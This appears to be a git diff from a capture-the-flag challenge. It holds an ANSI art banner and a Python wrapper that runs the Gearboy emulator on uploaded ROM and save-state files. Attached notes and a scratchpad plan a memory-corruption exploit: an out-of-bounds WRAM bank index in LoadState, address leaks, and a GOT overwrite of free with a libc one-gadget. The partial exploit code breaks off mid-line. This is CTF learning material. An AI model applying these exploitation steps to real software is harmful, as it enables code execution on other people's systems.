[0;5;37;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;37;43m8[0;1;30;45m8[0;1;30;41m8[0;1;30;40m@[0;5;30;40m@[0;5;31;40mX[0;1;30;41m8[0;5;31;40m8[0;1;30;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8X8@888@X[0;5;33;43m [0;5;37;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m@[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m8[0;1;31;47m8[0;5;37;43m%[0;5;1;31;43m8[0;5;37;43m888[0;5;1;31;43m8[0;1;33;47m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;5;33;40m:[0m +[0;5;34;40m8[0;1;34;44m8[0;1;30;45m88[0;5;34;44m8[0;5;35;40m:[0;5;34;44mX[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m%[0;1;30;44m8[0;5;30;40m888[0;5;35;40m.[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;1;33;47m8[0;5;37;47m8[0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;33;47m8[0;5;37;47m88[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;45m8[0;1;33;47m8[0;1;35;47mS[0;5;31;40m@[0;5;30;40m8[0;1;30;40m8[0;5;30;40mX88[0;5;34;40mS[0;1;30;41m88[0;5;31;40m8[0;5;35;40m:[0;1;31;45m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40mt[0;1;30;45m8[0;5;35;40mSSX[0;5;31;40mS8[0;1;30;45m@[0;35;41m8[0;5;35;40m8[0;35;41m8[0;5;35;40m8[0;1;30;41m8[0;5;35;40m8[0;5;31;40m8[0;1;30;45m8[0;5;31;40mX[0;5;35;40m8@8@88[0;5;31;40m8[0;5;35;40m%88[0;35;41m8[0;1;30;45m88[0;5;35;40m8[0;1;30;45mX888[0;5;35;40m@[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;1;30;45m8[0;5;36;40m%[0;5;34;44mX[0;5;35;40mt[0;1;30;45m8[0;5;34;44m@[0;5;35;40m.[0;1;30;45m8[0;5;34;44mX[0;5;36;40m;[0;5;34;40m@[0;1;30;44m8[0;5;34;40m@[0;1;30;40m8[0;5;30;40m88[0;1;30;47m8[0;1;37;47m [0;1;31;47mX[0;5;37;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;37;43m8[0;5;37;47m8[0;5;1;35;41m8[0;5;37;43m8[0;1;35;47mX[0;1;37;47m%[0;5;37;47m8[0;5;31;40m8[0;5;30;40m888X@@888[0;5;35;40m8[0;5;34;40m@[0;5;35;40m8[0;1;30;45m888[0;5;35;40m@[0;1;30;45m888[0;35;44m8[0;5;35;40mS[0;1;30;44m8[0;5;35;40mX[0;1;30;44m8[0;5;35;40m@[0;35;44m8[0;5;35;40mS[0;35;44m8[0;5;35;40m@[0;1;30;44m8[0;1;30;45m8[0;35;44m8[0;5;35;40mX[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m8[0;5;35;40m@[0;1;30;45m8[0;5;34;40m8[0;5;35;40m8[0;1;30;44m8[0;5;35;40m8[0;35;44m8[0;5;35;40mX[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;5;35;40m8[0;1;30;44m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;36;40mX[0;5;34;44m@[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40mt[0;5;34;44m@[0;5;35;40mt[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44mX[0;5;36;40m;[0;5;35;40mX[0;1;30;44m@[0;5;34;40m8[0;5;30;40m@@[0;1;30;40m8[0;5;30;40m@8[0;5;35;40m%[0;5;37;47m%8[0;1;31;47mS[0;1;37;47m [0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;37;43m8[0;5;37;47m88[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;45m8[0;5;37;43m8[0;5;37;45m8[0;1;37;47m:[0;5;37;47mXX [0;1;37;47m [0;1;30;41mX[0;5;30;40m@@88@@@8[0;5;34;40m@[0;1;30;40m88[0;5;30;40m8[0;5;34;40m8[0;1;30;44m88[0;36;44m8[0;34;45m8[0;34;46m8[0;35;44m8[0;34;46m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m:[0;1;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;36;40m:[0;1;34;44m8[0;5;35;40mS[0;35;44m8[0;1;30;46m8[0;34;45m8[0;36;44m8[0;34;45m8[0;1;30;44m8[0;35;44m8[0;1;30;46m8[0;34;45m8[0;1;30;46m8[0;1;34;44m8[0;5;35;40mX[0;1;34;44m8[0;5;35;40mt[0;1;34;44m8[0;5;35;40m%[0m +[0;5;34;40m8[0;1;34;44m8[0;1;30;45m88[0;5;34;44m8[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;35;40mS[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;36;44mX[0;1;30;44m8[0;5;30;40mX8@X[0;1;30;40m8[0;5;30;40m8[0;5;31;40m@[0;1;30;40m8[0;1;37;47mt[0;5;37;47m.:8[0;5;37;41m8[0;1;33;47mS[0;5;37;47m88[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;47m8[0;5;1;33;47m8[0;5;37;45m8[0;5;37;43m8[0;1;35;47m8[0;1;33;47mX[0;5;37;47m8S .[0;1;30;47m8[0;30;41mX[0;5;32;40mX[0;5;30;40m@8[0;1;30;40m8[0;5;30;40m@@@@@@XX[0;1;30;40m8[0;5;30;40m@[0;5;34;40m88[0;1;30;45m8[0;5;34;44m@[0;5;35;40mt[0;5;35;44m8[0;5;35;40mt[0;5;34;44m@[0;5;35;40m.[0;1;34;45m8[0;5;35;40m;[0;5;35;44m8[0;5;35;40m:[0;1;34;45m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m;[0;35;44m8[0;5;36;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m%[0;5;35;44m8[0;5;35;40m%[0;5;35;44m8[0;5;36;40m;[0;5;35;44mX[0;5;35;40m:[0;5;34;44mS[0;1;30;45m8[0;1;34;45m8[0;5;35;40mt[0;1;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;1;34;44m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m%[0;5;34;44m8[0;5;35;40m:[0;35;44m@[0;1;30;44m8[0;5;34;40mX[0;5;30;40m@@X@@88@8[0;5;33;40m [0;5;37;47m8t..[0;1;30;47m8[0;5;31;41m%S[0;5;33;41mX[0;1;31;45m8[0;1;33;47m8[0;1;37;47m [0;5;37;47m8888t:%@[0;1;37;47m;[0;5;33;40m%[0;1;30;41m@[0;5;30;40mX8@88@@@@@@@@X@@[0;5;34;40m88[0;5;35;40mS[0;1;34;44m8[0;5;35;40m.[0;34;45m8[0;5;36;40m:[0;5;34;44m@[0;5;35;40m.[0;35;44m8[0;5;36;40m%[0;5;34;44m8[0;5;35;40m:[0;1;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44mX[0;5;35;40m;[0;5;35;44m8[0;5;35;40m;[0;1;34;44m8[0;5;35;40m;[0;1;34;44m8[0;5;35;40m:[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m:[0;1;34;44m8[0;5;36;40m:[0;35;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m.[0;34;45m8[0;5;36;40m;[0m +[0;5;34;40m8[0;5;35;40mX[0;1;30;44m8[0;5;35;44m8[0;5;36;40m%[0;34;45m8[0;5;36;44m8[0;5;35;40m%[0;1;30;45m8[0;36;44m8[0;5;35;40m@[0;5;34;40m8[0;5;36;40m8[0;1;30;40m8[0;5;30;40mX@@X88X8[0;1;30;40m8[0;5;31;40m@S[0;5;37;47m88[0;1;37;47mSt:[0;1;30;41m@SSX[0;1;37;47m [0;5;37;47m8XXX8888[0;1;37;47m [0;1;30;41m8[0;5;31;40m@[0;5;30;40m@88888@[0;5;34;40m@[0;5;30;40m@X@@@@@@88[0;5;34;40m88[0;5;35;40mS[0;5;34;44m@[0;5;36;40m.[0;5;35;44m@[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;34;45m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;1;34;45m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;36;40m%[0;1;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40mt[0;34;45m8[0;5;36;40m;[0;5;34;44m@[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0m +[0;5;34;40m8[0;35;44m8[0;5;36;40m;[0;5;35;44m8[0;5;36;40mt[0;1;34;45m8[0;5;35;40m;[0;36;44m@[0;1;30;44m8[0;5;35;40m8[0;5;30;40m888@@XX8[0;1;30;40m8[0;5;30;40mX8[0;1;30;40m8[0;5;30;40m8[0;34;40mS[0;1;30;40m8[0;5;37;40m@[0;5;37;47m:%%;[0;1;30;41m8[0;30;41mX@[0;1;37;47mt[0;5;37;47m;88888:;[0;5;35;40m;[0;1;30;41mS[0;5;36;40m@[0;1;30;40mX@[0;5;30;40m888[0;5;34;40m@[0;5;30;40m@8[0;1;30;40m8[0;5;30;40mX@@@@X@@@@@8[0;1;30;44m8[0;1;30;45m8[0;5;34;44mX[0;5;35;40m.[0;1;30;45m8[0;5;36;40m%[0;5;34;44m@[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;1;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40m:[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m;[0;34;45m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m:[0m +[0;5;34;40m8[0;34;45m8[0;5;36;44m8[0;1;30;45m8[0;1;30;44m8[0;5;34;40mX@S[0;5;30;40m8888@@@@@88@88888@[0;1;37;47mS[0;5;37;47m S[0;5;33;40m;[0;35;41m.[0;30;41mtS[0;1;30;47m%[0;5;37;47m.%X%;.[0;1;37;47m:[0;5;35;40mS[0;5;31;40m8[0;1;30;40m8[0;5;30;40m8@8888@@8[0;1;30;40m8[0;5;30;40mX@@@@@X@X@8@[0;1;30;44m8[0;5;34;40mS[0;1;30;45m8[0;5;34;44mX[0;5;36;40m%[0;1;34;45m8[0;5;35;40m%[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;5;35;40m:[0;5;35;44m8[0;5;36;40m:[0;1;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;36;40mS[0;5;34;44m8[0;5;35;40m;[0;35;44m8[0m +[0;1;30;44m8[0;5;35;40mS[0;1;30;45m8[0;5;35;40m.[0;1;30;47mt[0;1;37;47m%; [0;1;30;47mX[0;5;33;40m:[0;5;30;40m8@X@@X@X88@@88X8[0;5;31;40m@[0;1;37;47m%[0;5;31;40m@[0;1;31;41m;[0;30;41m;[0;1;30;41m;[0;30;41m;[0;1;30;41m8[0;5;37;47m;..:[0;1;37;47m.[0;5;35;40mt[0;1;30;41m8[0;5;30;40mX8@@88[0;1;30;40m8[0;5;30;40m8@@@8[0;1;30;40m8[0;5;30;40m@@@@@@@@@X@X8[0;1;30;44m8[0;5;34;40mS[0;34;45m8[0;1;30;44m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;35;44m8[0;5;35;40m.[0;1;34;45m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;1;34;45m8[0;5;36;40mS[0;34;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0m +[0;5;34;40m8[0;1;30;44m8[0;1;37;47m%[0;5;37;47mX[0;1;37;47m. [0;5;37;47m8[0;1;37;47m t[0;5;37;40mS[0;1;30;40m8[0;5;30;40mS@X@@@[0;1;30;40m8[0;5;30;40m8[0;5;34;40m@[0;5;30;40m8@[0;1;30;40m88[0;5;30;40mX8[0;31;40m8[0;1;30;41mX[0;30;41m:;;t@[0;1;37;47m%[0;5;37;47m %[0;5;35;40m.[0;1;30;41m@[0;5;30;40mX@@@8[0;1;30;40m8[0;5;30;40m8@[0;5;34;40m@[0;5;30;40m@@@@X[0;1;30;40m8[0;5;30;40m8X8@@@@@@@8@[0;5;34;40m@[0;1;30;40m8[0;1;30;44m8[0;1;34;45m8[0;1;30;46m8[0;34;45m8[0;5;36;40m;[0;5;34;44m@[0;5;35;40m;[0;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44m@[0;5;36;40m%[0;5;34;44m@[0;5;35;40m:[0;35;44m8[0;1;30;46m8[0;34;45mX[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40mt[0;5;35;44m8[0;5;35;40m.[0;35;44m8[0m +[0;5;37;40mX[0;1;37;47m;; [0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;33;47m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m [0;1;30;47m8[0;5;31;40m8[0;5;30;40m88@@88@@8XX8[0;1;30;40m8[0;5;30;40mXX[0;30;41m8[0;1;30;41mS[0;30;41mt[0;35;41m:[0;1;30;41m%[0;30;41m@[0;1;30;47m@:[0;5;31;40mX[0;5;30;40m8@88888888[0;1;30;40m8[0;5;30;40m8888@8[0;1;30;40m8[0;5;34;40mX[0;5;30;40m8@@[0;5;34;40m@[0;5;30;40m@@@@@88[0;5;34;40mS8[0;5;35;40mX[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40mt[0;1;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m;[0;5;35;44m@[0;5;36;40mt[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0m +[0;1;37;47m;[0;5;37;47m88[0;5;1;31;43m8[0;5;1;35;47m@[0;5;37;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;1;37;47m [0;1;30;47m8[0;1;30;40m8[0;5;34;40mS[0;5;30;40m888@@X@8@@X[0;1;30;40m8[0;5;30;40m88[0;1;30;40m8[0;30;41mS[0;1;30;41mS[0;30;41m@[0;5;31;40m8[0;1;30;40m8[0;5;30;40m88888@@8[0;1;30;40m8[0;5;30;40m88@@@@@@@@[0;1;30;40m8@8[0;5;30;40m888@@@@@[0;5;34;40m@[0;5;30;40m888[0;1;30;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m:[0;1;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m;[0;34;45m8[0;5;36;40m.[0;5;34;44m8[0m +[0;1;37;47m [0;1;33;47mX[0;5;1;35;47m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;31;43mX[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m@[0;5;1;33;47m8[0;1;31;45m8[0;1;30;47m [0;1;30;40m@@[0;5;30;40m8@@@X@@@@@@@[0;5;34;40m@[0;1;30;40m@[0;5;30;40m8[0;31;40m8[0;1;30;40m@88[0;5;30;40m8X@8@@@@@X@@@@@X@X@8[0;1;30;40m@[0;5;30;40m88@88@@@@@8@@[0;1;30;40m8[0;5;34;40m8[0;1;30;45m8[0;5;36;40m%[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;1;30;45m8[0;5;35;44m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m:[0m +[0;1;30;47mt[0;1;31;47m@[0;5;1;33;47m8[0;5;1;35;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;37;41m8[0;5;37;47m8[0;5;37;43m8[0;5;37;45m8[0;5;35;40m 8[0;1;30;40mX[0;5;30;40mX@@@@@X@@@@@@[0;1;30;40m88[0;5;30;40mX8[0;1;30;40m8[0;5;30;40mX@@@@@@@@@@@@@XX@8[0;1;30;40m8[0;5;30;40m8[0;1;30;40m@[0;5;34;40m8[0;5;30;40m88@@@@@@@@@@@X@[0;1;30;44m8[0;35;44m8[0;1;30;45m8[0;1;30;46m8[0;34;45m8[0;5;36;40m;[0;1;34;45m8[0;5;36;40m:[0;36;44m8[0;1;30;45m8[0;5;35;44m8[0;5;36;40m%[0;34;45m8[0;5;35;40m;[0;5;35;44m@[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40m;[0;5;35;44m8[0;5;35;40mt[0;5;35;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40mt[0;34;45m8[0m +[0;5;35;40m [0;1;30;45m8[0;35;47m@[0;1;33;47m8[0;1;37;47m [0;5;37;47m8[0;5;1;31;43m8[0;1;35;47mX[0;1;37;47m [0;5;37;41m8[0;1;30;45m8[0;5;35;40m@[0;1;30;44mX[0;5;30;40m8@@@[0;5;34;40m@[0;5;30;40m@X@@@@@@@8[0;1;30;40m8[0;5;30;40m@88X@@@@@@@@@@@88[0;5;31;40mS[0;5;33;40m.[0;1;30;47m8@S[0;1;37;47m [0;1;30;47mS@[0;5;33;40mt[0;5;30;40m8@@@@@@@@X@@@8[0;1;30;44m8[0;5;34;40mX[0;5;34;44mS[0;1;30;45m8[0;5;34;44mX[0;5;35;40m;[0;5;34;44m8[0;1;30;45m8[0;5;35;44m@[0;5;36;40mt[0;34;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;35;44m8[0;5;36;40mt[0;35;44m8[0;5;36;40mS[0;5;34;44m8[0;5;35;40mt[0;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m%[0m +[0;1;30;44m@[0;1;30;45m8%[0;35;47m8[0;5;37;47m8[0;5;1;35;47m8[0;1;33;47mS[0;1;31;41mS[0;1;30;45m88[0;1;30;44m8[0;5;34;40mS88[0;5;30;40m@X@@88@@88888[0;1;30;40m8[0;5;30;40m@[0;1;30;40m88[0;5;30;40m88888@@@X@@S[0;1;30;40m8[0;5;33;40mt[0;1;37;47m [0;5;37;47m8[0;1;37;47m:[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;33;47m8[0;5;37;47m8[0;1;30;47mS[0;1;30;40m8[0;5;30;40mX@@@@@@[0;5;34;40m@[0;5;30;40m@8X[0;1;30;40m8[0;5;34;40m@[0;5;35;40m@[0;5;34;40m@X[0;5;35;40m%[0;1;30;44m8[0;5;35;40m:[0;5;34;40m@[0;5;36;40mS[0;35;44m8[0;5;36;40m%[0;5;35;40m@[0;1;30;44m8[0;5;35;40m%[0;35;44m8[0;34;46m8[0;1;30;45m8[0;5;36;40m%[0;34;45m8[0;1;30;46m8[0;1;30;45m8[0;1;34;46m8[0;1;30;45m8[0;5;35;40m:%[0;1;30;46m8[0;1;30;45m8[0;1;30;47m8[0;1;30;45m8[0;1;30;47m8[0;1;30;45m8[0m +[0;1;37;47m8[0;5;37;47m@[0;1;30;47m [0;33;47m8[0;5;1;37;43m8[0;1;35;47m%[0;1;33;47mS[0;5;37;47m@@XS8@8@@@@[0;1;37;47m8[0;5;37;47mX[0;1;37;47m8[0;5;37;47m@88[0;1;37;47m88[0;5;37;47m8[0;1;37;47m8[0;5;37;47m8[0;1;37;47m8[0;5;37;47m8[0;1;37;47m8[0;5;37;47m8[0;1;37;47m8[0;5;37;47m@@888888[0;1;30;47m.S[0;1;37;47m;[0;5;37;47m8[0;1;33;47mX[0;1;31;47mS[0;5;37;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m@[0;5;37;47m8[0;1;37;47m t;[0;5;31;40mX[0;5;30;40m8[0;5;34;40m@[0;5;30;40m@@@@@@8[0;5;31;40mS[0;1;30;47m.[0;5;37;47m@@8@@X88@@8@XSt%@Xt@S;XX@%@@%Xt[0m +[0;5;37;47mSSS[0;1;37;47mt;[0;5;37;47m888@XS%XXSSXSSSSSSS%XXSSSSSSSXXXSXX;[0;1;37;47mt[0;1;30;47m%[0;5;37;47m8[0;1;33;47m8[0;5;37;41m8[0;5;37;47m88[0;5;1;33;41m8[0;5;37;47m8[0;5;1;33;47m8[0;5;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m.[0;1;30;40m8[0;5;30;40m@@@@88[0;5;33;40m.[0;1;37;47m.[0;5;37;47mSXXSSXXSSSSSXSXXXXXXSXSSXXSSXXXSS[0m +[0;5;37;47mSSS8888@XX@XXSXSSSSSSSSSSSSXSSXSXSSXXSSSSX[0;1;33;47mX[0;1;31;47m8[0;35;47mX[0;5;37;47m8[0;5;1;31;43m8[0;5;1;35;47m8[0;1;31;47mXX[0;5;37;47m8[0;5;1;37;43m8[0;5;1;31;45m8[0;5;1;37;43m8[0;5;1;35;47m8[0;1;37;47m [0;5;37;47m88[0;5;31;40m8[0;5;30;40m8@[0;1;30;40m88[0;5;33;40m [0;1;37;47m@[0;5;37;47m:XXXXSSSSSSSSSSSSSSSSXSSXSSSSSSXSXS[0m +[0;5;37;47mSSSSX@XXXSXSSXSXSXSXSSSSSSXSSSSSSXSXXSSSX8S[0;1;37;47m.[0;1;33;47mX[0;5;37;47m8[0;1;35;47mS[0;5;37;43m8[0;1;37;47m [0;5;37;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;1;33;47mXS[0;1;31;47mS[0;5;37;41m8[0;5;33;40m%[0;1;30;40m8[0;5;33;40m:[0;5;37;40m@[0;1;37;47m [0;5;37;47m8%SXXSSSXXSXSSSSSSSSXSSSSXSSSSSSSSSXSX[0m +[0;5;37;47mXSXSXSXSSXSXSSXSXSXSXS%SSSSXSSSSSSXSSXSXSSS888[0;1;33;47mS[0;1;35;47m@[0;1;33;47mS[0;5;1;31;43m8[0;1;37;47m [0;5;37;47m888SS8@SSXSSSSXSSSSSXSXSXSXSXSXXXSXSXXXXSSSSSXSS[0m +[0;5;37;47mXSSXSSSXSSXSXSSXSSSXSSSSSSXSS%SSXSSXSXSXSSX@88888:%888XSX8SSSSSSXSSSSSSSSSSSSSXXXXSSXSXSSXSXXXXXSSXX[0m +[0;5;37;47mXSXSXSXSXSSSXSXSSXSSXS%SSSSXSSSSSXSSXSSXSXSX@@@@@X@@@@X@XXSXSSSSSXSSSSSSXSSSSSSSSSXSSXSXSSXSXSXXXXSS[0m +[0;5;37;47mXSSSSXSSXSXSSXSSXSXSSSSSSSXSSSSSSSXSSXSSXSSSSSXX@@X@XX@XXSXSSXSXSSXSSSSSXSSSS%SSXSSXSSXSXSSSSXSSSSXS[0m +[0;5;37;47mXSXSXSXSSXSXSSXSSXSXSS%SSSSXSSSXSXSXSSXSSXSSSSSSXXXSXXXSSXSSXSXSSSSSSSSSSXSSSSSSXSXSXSSXSXSXSXSXSXSX[0m +[0;5;37;47mSSSSSSSSSSSSSSSSSSSSSSS%SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSXSXSSSSSSSSSXSSSSSSSSSSSSSSXSSSSSSSSSSSSXSSSSS[0m +[0;5;37;47mSSSSSSXSSXSSXSSXSSXSSSSSS[0;1;37;47m8[0;5;37;47mtXXS[0;1;37;47m8[0;5;37;47mtSSXSSXSXSSSSSSSSSSXSSXSXSSSXSSSXSSSXSXSXXXSSSSSSSSSSXSSSXSSSSSSSSSSS[0m +[0;5;37;47mtt;ttttttttttttttttttttt;;%ttt:t%tttttttt%tt;ttt%tttttttt%tttttttt%tt%ttt%ttttt%tt%ttt%tttt%t%t%tt%t[0m +[0;1;30;47m . [0;1;37;47m [0;1;30;47m [0m +""") + + +print("\n\n\n\nYou Know What Really Grinds My Gears? Your Gearboy Exploit!") + +try: + print("Please provide base64 encoded gameboy file") + gb_b64 = input("> ") + + filename_gb = '/tmp/%s.gb' % os.getpid() + fd = open(filename_gb, "wb") + fd.write(base64.b64decode(gb_b64)) + fd.close() + + print("Please provide base64 encoded gameboy state") + state_b64 = input("> ") + + filename_state = '/tmp/%s.state' % os.getpid() + fd = open(filename_state, "wb") + fd.write(base64.b64decode(state_b64)) + fd.close() + + + p = process(f"/home/ctf/gearboy/platforms/linux/gearboy {filename_gb} {filename_state}", shell=True) + p.interactive() + +except Exception as e: + print("Something went wrong: %s" % e) + exit(-1) diff --git a/docs/notes b/docs/notes @@ -0,0 +1,29 @@ +attack load state file functionality (use invalid state for unintended behavior) + +see Gearboy/src/GearboyCore.cpp GearBoy::LoadState: +- control memory, process, video, input, audio + +- OOP on Memory::GetWRAM1 using m_iCurrentWRAMBank + +- try negative offset binary search until it doesnt crash + => should give start of program code (test with docker upload & gui for testing) + +- overwrite pointer in got to free with one gadget for libc + +- can overwrite pointer in opcode CPG function table from Processor class + +... lots of time spent trying to find way of leaking both base and libc ... + +- we can try calling emu_save_ram on the wrapper python script location! + +... because of heavy optimization and headless patch those functions cant be called ... + +- if the arguments are still loaded in the right registers we could just jump +there anyways! + +.. nope, only control rdi and we need the memory read from to still be correct ... + +.. first run in docker has same behavior, can abuse for heap offsets ! .. + +.. remember that tagged images dont refresh, so pull them to be up-to-date +with remote or even better try to match tags .. diff --git a/docs/scratchpad b/docs/scratchpad @@ -0,0 +1,26 @@ + +// /* causes segfault (TESTED!) */ + // // *op0x00_gb = 0; + + // /* leak function pointer and base / got */ + // op0x00 = *op0x00_gb; + // base = op0x00 - 0x1d420; + // free_got = base + 0x4ad78; + + // /* use processor registers to read / write */ + // processor + 0x2068 + + // /* reset wram bank to point to GOT */ + wrambanks = processor_addr + 0x126a0; + target_index = (free_got - wrambanks) / 0x1000; + if ((free - wrambanks) % 0x1000 != 0) + target_index -= 1; + + // /* replace free with one gadget */ + // free_gb = (void*)free_got - (wrambanks - target_index * 0x1000) + 0xD000; + // free = *(free_gb); + // libc = free - 0x9a6d0; + // onegadget = libc + 0xe3afe; + + // *free_gb = 